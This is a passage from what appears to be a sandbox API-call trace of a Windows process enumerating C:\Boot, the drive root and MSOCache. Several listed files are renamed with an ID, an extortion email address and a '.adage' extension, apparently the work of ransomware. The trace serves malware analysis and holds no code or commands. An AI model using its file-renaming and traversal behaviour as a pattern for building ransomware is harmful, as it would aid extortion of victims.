dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.145] GetLastError () returned 0x12 [0050.145] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.145] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.145] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.145] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0050.145] GetLastError () returned 0x12 [0050.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*" (normalized: "c:\\boot\\tr-tr\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.145] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.145] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.145] GetLastError () returned 0x12 [0050.145] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.145] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.146] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.146] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0050.146] GetLastError () returned 0x12 [0050.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*" (normalized: "c:\\boot\\zh-cn\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.146] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.146] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.146] GetLastError () returned 0x12 [0050.146] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.146] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.146] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.146] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0050.146] GetLastError () returned 0x12 [0050.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*" (normalized: "c:\\boot\\zh-hk\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.146] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.146] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.147] GetLastError () returned 0x12 [0050.147] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.147] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.147] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.147] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0050.147] GetLastError () returned 0x12 [0050.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*" (normalized: "c:\\boot\\zh-tw\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.147] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.147] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.147] GetLastError () returned 0x12 [0050.147] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.147] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.147] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.147] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0050.147] FindClose (in: hFindFile=0x4d28d0 | out: hFindFile=0x4d28d0) returned 1 [0050.149] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2ab73c0 | out: hHeap=0xab0000) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0050.149] GetLastError () returned 0x12 [0050.150] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0050.154] GetLastError () returned 0x12 [0050.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*" (normalized: "c:\\documents and settings\\*"), lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="zh-TW", cAlternateFileName="ﯨ˦玸ʪ\\\\?\\珆ʪ露˦㧈¸\x08\x01珀ʪ")) returned 0xffffffff [0050.154] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2ab73c0 | out: hHeap=0xab0000) returned 1 [0050.154] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x7098ee60, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0050.158] GetLastError () returned 0x5 [0050.158] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0050.158] GetLastError () returned 0x5 [0050.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4d28d0 [0050.159] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0050.159] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0050.159] GetLastError () returned 0x5 [0050.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*" (normalized: "c:\\msocache\\all users\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.168] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.168] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc17ed0c0, ftLastAccessTime.dwHighDateTime=0x1d93032, ftLastWriteTime.dwLowDateTime=0xc17ed0c0, ftLastWriteTime.dwHighDateTime=0x1d93032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0011-0000-0000-0000000FF1CE}-C", cAlternateFileName="{90160~2")) returned 1 [0050.168] GetLastError () returned 0x5 [0050.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc25049c0, ftLastAccessTime.dwHighDateTime=0x1d93032, ftLastWriteTime.dwLowDateTime=0xc25049c0, ftLastWriteTime.dwHighDateTime=0x1d93032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d52c8 [0051.601] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb919e880, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xc25049c0, ftLastAccessTime.dwHighDateTime=0x1d93032, ftLastWriteTime.dwLowDateTime=0xc25049c0, ftLastWriteTime.dwHighDateTime=0x1d93032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.601] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ce70000, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6ce70000, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb91c4210, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage", cAlternateFileName="OFFICE~1.ADA")) returned 1 [0051.601] GetLastError () returned 0x5 [0051.601] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x12e83a80, ftCreationTime.dwHighDateTime=0x1d0cbb6, ftLastAccessTime.dwLowDateTime=0x12e83a80, ftLastAccessTime.dwHighDateTime=0x1d0cbb6, ftLastWriteTime.dwLowDateTime=0xb919d110, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1380, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0051.601] GetLastError () returned 0x5 [0051.613] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1d94500, ftCreationTime.dwHighDateTime=0x1d93032, ftLastAccessTime.dwLowDateTime=0xc1d94500, ftLastAccessTime.dwHighDateTime=0x1d93032, ftLastWriteTime.dwLowDateTime=0xc25049c0, ftLastWriteTime.dwHighDateTime=0x1d93032, nFileSizeHigh=0x0, nFileSizeLow=0x319a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage", cAlternateFileName="OSEEXE~1.ADA")) returned 1 [0051.613] GetLastError () returned 0x5 [0051.613] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d3bac20, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7d3bac20, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca1b9b60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x960aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage", cAlternateFileName="OSETUP~1.ADA")) returned 1 [0051.613] GetLastError () returned 0x5 [0051.613] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a23d2d0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x3a23d2d0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xb93d85b0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d2ccbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW64WW.cab", cAlternateFileName="")) returned 1 [0051.613] GetLastError () returned 0x5 [0051.613] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x870a50a0, 